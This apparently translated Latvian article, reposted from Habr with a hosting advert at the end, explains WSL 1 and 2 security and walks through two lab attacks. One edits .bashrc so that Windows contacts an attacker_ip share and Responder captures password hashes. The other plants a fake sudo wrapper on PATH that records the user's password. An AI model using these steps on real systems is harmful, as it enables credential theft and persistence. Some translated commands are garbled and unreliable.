WSL eksperimenti. 1. daļa

Sveiki, Habr! Octobrī OTUS uzsāk jaunu kursa plūsmu „Linux drošība”. Pirms kursa sākuma dalāmies ar rakstu, ko uzrakstījis viens no mūsu pasniedzējiem — Aleksandrs Kolesņikovs.

WSL eksperimenti. 1. daļa

2016. gadā Microsoft iepazīstināja IT kopienu ar jauno WSL tehnoloģiju (Windows Subsystem for Linux), kas ļauj apvienot iepriekšējos konkurentus, kas cīnījās par popularitāti gan parastajiem, gan progresīvajiem Windows un Linux operētājsistēmu lietotājiem. Šī tehnoloģija nodrošināja iespēju izmantot Linux rīkus Windows vidē, nepalaižot Linux, piemēram, izmantojot multizāģēšanu (Multi-boot). Habr jūs varat atrast daudz rakstu, kas apraksta WSL izmantošanas priekšrocības. Tomēr, diemžēl, raksta izveides brīdī šajā resursā nebija atrasti pētījumi par šāda operētājsistēmu simbiozes drošību. Šis ieraksts būs mēģinājums to labot. Rakstā tiks apskatītas WSL 1 un 2 arhitektūras īpatnības, tiks analizēti vairāki uzbrukumu piemēri uz sistēmām, kas izmanto šīs tehnoloģijas. Raksts ir sadalīts divās daļās. Pirmajā tiks sniegtas galvenās teorētiskās uzbrukumu metodes no Linux un Windows puses. Otrajā rakstā iekļausim testēšanas vidi un uzbrukumu atkārtošanu.

WSL 1: arhitektūras īpatnības

Lai visprecīzāk izprastu WSL drošības problēmas, nepieciešams noteikt galvenos nianses, kas saistītas ar apakšsistēmas īstenošanu. Viens no galvenajiem WSL risinātajiem uzdevumiem ir nodrošināt iespēju strādāt caur Linux termināli uz hosta ar Windows OS. Piedāvātā saderība bija tik dabiska, ka Linux izpildfaili (ELF) varēja palaist tieši Windows sistēmā. Lai sasniegtu šos mērķus, Windows 10 tika izveidota īpaša apakšsistēma, kas ļauj palaist Linux lietotnes, izmantojot noteiktu sistēmas izsaukumu kopu — tādējādi tika mēģināts novērst Linux syscall kopas uz Windows. Fiziski tas tika īstenots, pievienojot jaunus draiverus un jaunu procesa formātu. Vizuāli arhitektūra izskatījās šādi:

WSL eksperimenti. 1. daļa

Pamatā, mijiedarbība ar Linux operētājsistēmu tika organizēta, izmantojot vairākus kodola moduļus un īpašu procesu veidu — pico. No iepriekšējās shēmas redzams, ka process, kas palaists Linux instancē uz hosta, jābūt nativam un jāizmanto tie paši resursi kā parastajām Windows lietotnēm. Bet kā to panākt? Projektā Drawbridge tika izstrādāti procesu koncepti Windows, kas nodrošināja visus nepieciešamos operētājsistēmas komponentus (atkarībā no tās versijas) citu operētājsistēmu lietotnes palaišanai.

Jāatzīmē, ka piedāvātā abstrakcija ļāva neorientēties uz operētājsistēmu (īpaši — Windows), kurā tiek gaidīts citu operētājsistēmu procesa palaišana, un piedāvāja vispārēju pieeju.

Tādējādi jebkura lietotne iekš pico procesa varēja darboties bez atskaites uz Windows kodolu:

  1. Sistēmas izsaukumu saderības un tulkošanas problēmas jārisina ar speciāliem provideriem;
  2. Piekļuves ierobežojumiem jānotiek caur Drošības monitoru. Monitoram jāatrodas kodolā un tādēļ Windows bija nepieciešams uzlabojums jauna draivera veidā, kas varētu darboties kā provider šādiem procesiem. Pico procesa prototips shēmā attēlots zemāk:

WSL eksperimenti. 1. daļa

Tā kā Linux failu sistēma izmanto reģistru atkarīgus failu un direktoriju nosaukumus, Windows tika pievienoti 2 failu sistēmu tipi darbam ar WSL — VolFS un DriveFS. VolFS ir Linux failu sistēmas implementācija, DriveFS ir failu sistēma, kas darbojas pēc Windows noteikumiem, bet tam ir iespēja izvēlēties reģistru jutību nosaukumiem.

WSL 2

WSL 1 bija ar vairākiem ierobežojumiem, kas neļāva to izmantot visu uzdevumu risināšanai: piemēram, tajā nebija iespējams palaist 32 bitu Linux lietojumprogrammas, nebija iespējams izmantot ierīces draiverus. Tāpēc 2020. gadā tika laista klajā WSL 2, kas mainīja pieeju apakšsistēmas izveidei. WSL 2 ir optimizēta virtuālā mašīna, kurai ir līdzīgas resursu patēriņa īpašības kā WSL 1. Tagad, ņemot vērā Windows OS lietotāja risināmos uzdevumus, var izvēlēties nepieciešamo versiju Linux apakšsistēmas izmantošanai. Lai mazinātu iespējamās ievainojamības, WSL 2 tika īstenota, pamatojoties uz Hyper-V Windows 10. Šādā veidā Windows spēj izolēti palaist Linux operēšanas sistēmas kodolu. Jāatceras, ka WSL versija 1 tika ieviesta kā beta funkcija, kas parādīs nākotnes attīstības virzienu Windows šajā jomā, tāpēc pāreja uz Hyper-V bija neizbēgama. Beigu arhitektūra izskatās šādi:

WSL eksperimenti. 1. daļa

Šajā versijā Windows un Linux kodoliem ir savi resursi, un krustojums pastāv tikai failu sistēmā, taču šo krustojumu nevar uzskatīt par pilnīgu. Saziņa starp failu sistēmām notiek, izmantojot klienta-servera apvalku, kas darbojas pēc 9P protokola.

Šodien Microsoft piedāvā iespēju pārslēgties starp WSL 1 un WSL 2. Abas versijas ir pieejamas lietošanai.

WSL drošība

Pašlaik pastāv vairāki pētījumi, kas apraksta dažādus piegājienus, kā izmantot likumīgus operētājsistēmas rīkus, lai uzbruktu mijiedarbībai starp apakšsistēmām. Mēs izmantosim to scenārijus, lai pārbaudītu uzbrukumu aktualitāti raksta rakstīšanas brīdī. Vispārējais uzbrukumu un scenāriju saraksts:

1. Failu sistēmas īstenošana: piekļuves tiesības, kopīgo direktoriju/datu apmaiņas mehānismu klātbūtne.

Pētījumi tika veikti par piekļuves noteikumu pārkāpumiem no Linux FS->Windows FS, Windows FS->Linux FS. Pētījumi parādīja iespēju modificēt noteiktu failu mērķa operētājsistēmā. Tika veikti arī mēģinājumi viltot, izveidot dublikātus un dzēst daļu failu sistēmu.

Scenārijs:

  • A. Uzbrukums no operētājsistēmas Windows — failu modificēšana direktorijā /etc Linux operētājsistēmā.
  • B. Uzbrukums no operētājsistēmas Linux — failu modificēšana direktorijās: C:Windows, C:Program Files, C:Users

2. Tīkla steka īstenošana.

Pētījumi tika veikti, izmantojot Linux operētājsistēmas uzbrukumu piemērus Windows sistēmā. Tika izmantotas tīkla steka darbības īpatnības, proti, autentificēšanās mehānismi dažādos resursos.

Scenārijs:

  • Piekļuves atvēršana portam, kas ir aizņemts Windows sistēmā
  • Porta atvēršana bez atbilstošām tiesībām
  • Reverse shell palaišana, izmantojot ELF failu Windows operētājsistēmā.

3. Ļaunatūras procesu palaišanas slēpšana, izmantojot WSL apakšsistēmu.

Pētījumi balstījās uz vienkāršu faktu - aizsardzības apakšsistēmas nevar pārķert notikumus citā kodolā, kas darbojas, izmantojot likumīgu pakalpojumu sniedzēju, ja runājam par WSL 1. WSL 2 gadījumā nav iespējams apskatīt notikumus, kas notiek atsevišķā kodolā vieglā virtuālā mašīnā.

Scenārijs:

1) Lietojumprogrammas palaišana, lai attālināti piekļūtu sistēmai un skatītos reģistrētos notikumus.

WSL 1 eksperimenti: hash pārtveršana (Windows OS)

Visfinally mēs nonācām pie praktiskās daļas. Sākumā nepieciešams iestatīt vidi eksperimentiem. Visi eksperimenti tiks veikti uz stenda ar uzstādītu Windows 10 2004. Kā WSL operētājsistēmas attēls tika izvēlēts Ubuntu 18.04. Attēls tika izvēlēts nejauši, un jebkurš cits darbosies tāpat. Komandas stenda iestatīšanai:

Iepriekš jāsāk powershell.exe ar administratora tiesībām.

WSL 1 ir nepieciešams izpildīt šādas komandas:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Ieslēgt WSL funkciju
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Lejupielādēt Linux attēlu no Microsoft veikala

  • Ubuntu.appx install —root #Instalēt attēlu
  • Iespējams, būs jāiziet cauri iestatīšanas procesam un jāizveido jauns lietotājs, kam būs mazāk tiesību nekā root. Mūsu testiem tas būs parasts lietotājs sam.
  • Restart-Computer #Pārlādēt
  • Pēc stenda pārstartēšanas var izsaukt bash komandu. Ja viss ir pareizi, konsolē Windows redzēsit aptuveni šādu izvadījumu:

    WSL eksperimenti. 1. daļa

    Uzbrukuma mašīnai tiks izmantots Kali Linux distribūcija, visām mašīnām jābūt vienā lokālā tīklā.

    Pieņemsim, ka mums ir nepriviliģēta piekļuve WSL Windows mašīnā. Mēģināsim veikt uzbrukumu Linux operētājsistēmai, izsaucot komandu no Linux. Lai īstenotu uzbrukumu, izmantosim vienkāršu automātiskas palaišanas tehniku — pievienosim mūsu skriptu izpildei Linux vidē. Tam jāmaina fails .bashrc.

    Uz mašīnas ar WSL izpildām:

    	1. bash
    	2. Pārejam uz lietotāja mājas direktoriju: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Uz mašīnas Kali Linux izpildām:

    1. Responder -I eth0 -rdvw

    Uz Windows mašīnas palaidīsim bash.

    Gaidām rezultātu uz Kali Linux mašīnas:

    WSL eksperimenti. 1. daļa

    Tādējādi mēs ieguvām Windows lietotāja hashus caur WSL apakšsistēmu, izpildot komandu Linux sistēmā.

    WSL 1 eksperimentu: lietotāja parolas iegūšana (Linux OS)

    Veiksim vēl vienu eksperimentu. Šajā pārbaudē papildināsim failu .bashrc ar dažām komandām, lai iegūtu Linux operētājsistēmas lietotāja paroli.

    Palaidīsim bash un ievadīsim komandas:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] parole par $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Atvainojiet, mēģiniet vēlreiz."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Lai veiksmīgi pabeigtu uzbrukumu, lietotājam Sam jāizsauc sudo Linux terminālī. Pēc tam Linux operētājsistēmas lietotāja parole būs failā pass.txt:

    WSL eksperimenti. 1. daļa

    Uzbrukumu īstenošana tika sniegta tikai teorētiskai iepazīšanai.

    Nākamajā raksta daļā tiks aprakstīta protokola 9P īstenošana, izveidots skeneris šim protokolam, kā arī veikts uzbrukums, izmantojot to.

    Izmantotās literatūras saraksts

    WSL eksperimenti. 1. daļa

    Lasīt vairāk

    Avots: habr.com

    Iegādājieties uzticamu tīmekļa hostingu ar DDoS aizsardzību, VPS VDS serveriem 🔥 Iegādājieties uzticamu tīmekļa hostingu ar DDoS aizsardzību, VPS VDS serveriem | ProHoster